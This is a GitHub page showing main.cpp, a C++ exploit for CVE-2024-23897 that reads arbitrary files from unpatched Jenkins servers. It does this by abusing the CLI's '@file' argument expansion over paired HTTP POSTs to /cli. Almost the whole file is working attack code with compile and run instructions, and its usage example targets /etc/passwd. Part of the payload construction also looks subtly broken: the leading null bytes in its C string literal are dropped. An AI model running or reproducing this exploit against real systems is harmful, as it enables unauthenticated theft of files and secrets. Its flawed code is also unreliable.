-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.cpp
128 lines (108 loc) · 5.08 KB
/
main.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
/*
* @file main.cpp
* @brief CVE-2024-23897: Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces an '@' character followed by a file path in an argument with the file's contents, allowing unauthenticated attackers to read arbitrary files on the Jenkins controller file system.
* @details https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3314
*
* @date 2024/01/28 15:41:00
* @author raheel0x01 *
* @usage:
* g++ -std=c++11 -Wall -Wextra -pedantic -O3 -o jenkins_exploit main.cpp -lboost_system -lboost_thread -lpthread
* ./jenkins_exploit http://127.0.0.1:8888/ /etc/passwd
*
**/
#include <iostream>
#include <string>
#include <future>
#include <boost/asio.hpp>
#include <boost/uuid/uuid.hpp>
#include <boost/uuid/uuid_generators.hpp>
#include <boost/uuid/uuid_io.hpp>
// Function to send an HTTP request based on the specified parameters
void sendHttpRequest(boost::asio::ip::tcp::resolver::iterator& endpoint_iterator, const std::string& target_url, const std::string& uuid_str, const std::string& side, const std::vector<unsigned char>& data_bytes) {
// Initialize IO service and TCP socket
boost::asio::io_service io_service;
boost::asio::ip::tcp::socket socket(io_service);
// Connect to the specified endpoint
boost::asio::connect(socket, endpoint_iterator);
// Prepare the HTTP request
boost::asio::streambuf request;
std::ostream request_stream(&request);
request_stream << "POST /cli?remoting=false HTTP/1.1\r\n";
request_stream << "Host: " << target_url << "\r\n";
request_stream << "Session: " << uuid_str << "\r\n";
request_stream << "Side: " << side << "\r\n";
if (side == "upload") {
request_stream << "Content-type: application/octet-stream\r\n";
request_stream << "Content-Length: " << data_bytes.size() << "\r\n";
}
request_stream << "Connection: close\r\n\r\n";
// Write the data if the request is for upload
if (side == "upload") {
request_stream.write(reinterpret_cast<const char*>(data_bytes.data()), data_bytes.size());
}
// Send the request
boost::asio::write(socket, request);
// Process the response for download requests
if (side == "download") {
boost::asio::streambuf response;
boost::asio::read_until(socket, response, "\r\n");
std::istream response_stream(&response);
std::string http_version;
response_stream >> http_version;
unsigned int status_code;
response_stream >> status_code;
std::string status_message;
std::getline(response_stream, status_message);
// Check for valid response
if (!response_stream || http_version.substr(0, 5) != "HTTP/") {
std::cout << "Invalid response\n";
return;
}
// Check for successful status code
if (status_code != 200) {
std::cout << "Response returned with status code " << status_code << "\n";
return;
}
// Display the response
std::cout << "RESPONSE: ";
while (std::getline(response_stream, status_message) && status_message != "\r") {
std::cout << status_message;
}
std::cout << std::endl;
}
}
// Main function
int main(int argc, char* argv[]) {
// Check for the correct number of command line arguments
if (argc != 3) {
std::cout << "[*] usage: " << argv[0] << " http://127.0.0.1:8888/ [/etc/passwd]" << std::endl;
return 1;
}
// Extract target URL and file path from command line arguments
std::string target_url = argv[1];
std::string file_path = argv[2];
// Prepare data for HTTP request
std::string data_str = "\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@" + file_path + "\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05zh_CN\x00\x00\x00\x00\x03";
std::vector<unsigned char> data_bytes(data_str.begin(), data_str.end());
// Resolve the target URL to obtain endpoint information
boost::asio::io_service io_service;
boost::asio::ip::tcp::resolver resolver(io_service);
boost::asio::ip::tcp::resolver::query query(target_url, "http");
boost::asio::ip::tcp::resolver::iterator endpoint_iterator = resolver.resolve(query);
// Generate a random UUID for the session
boost::uuids::uuid uuid = boost::uuids::random_generator()();
std::string uuid_str = boost::uuids::to_string(uuid);
// Display the data to be sent in the request
std::cout << "REQ: ";
for (auto& byte : data_bytes) {
std::cout << std::hex << static_cast<int>(byte);
}
std::cout << std::endl << std::endl;
// Asynchronously send HTTP requests for download and upload
auto fut1 = std::async(std::launch::async, sendHttpRequest, std::ref(endpoint_iterator), target_url, uuid_str, "download", data_bytes);
auto fut2 = std::async(std::launch::async, sendHttpRequest, std::ref(endpoint_iterator), target_url, uuid_str, "upload", data_bytes);
// Wait for the completion of both asynchronous tasks
fut1.wait();
fut2.wait();
return 0;
}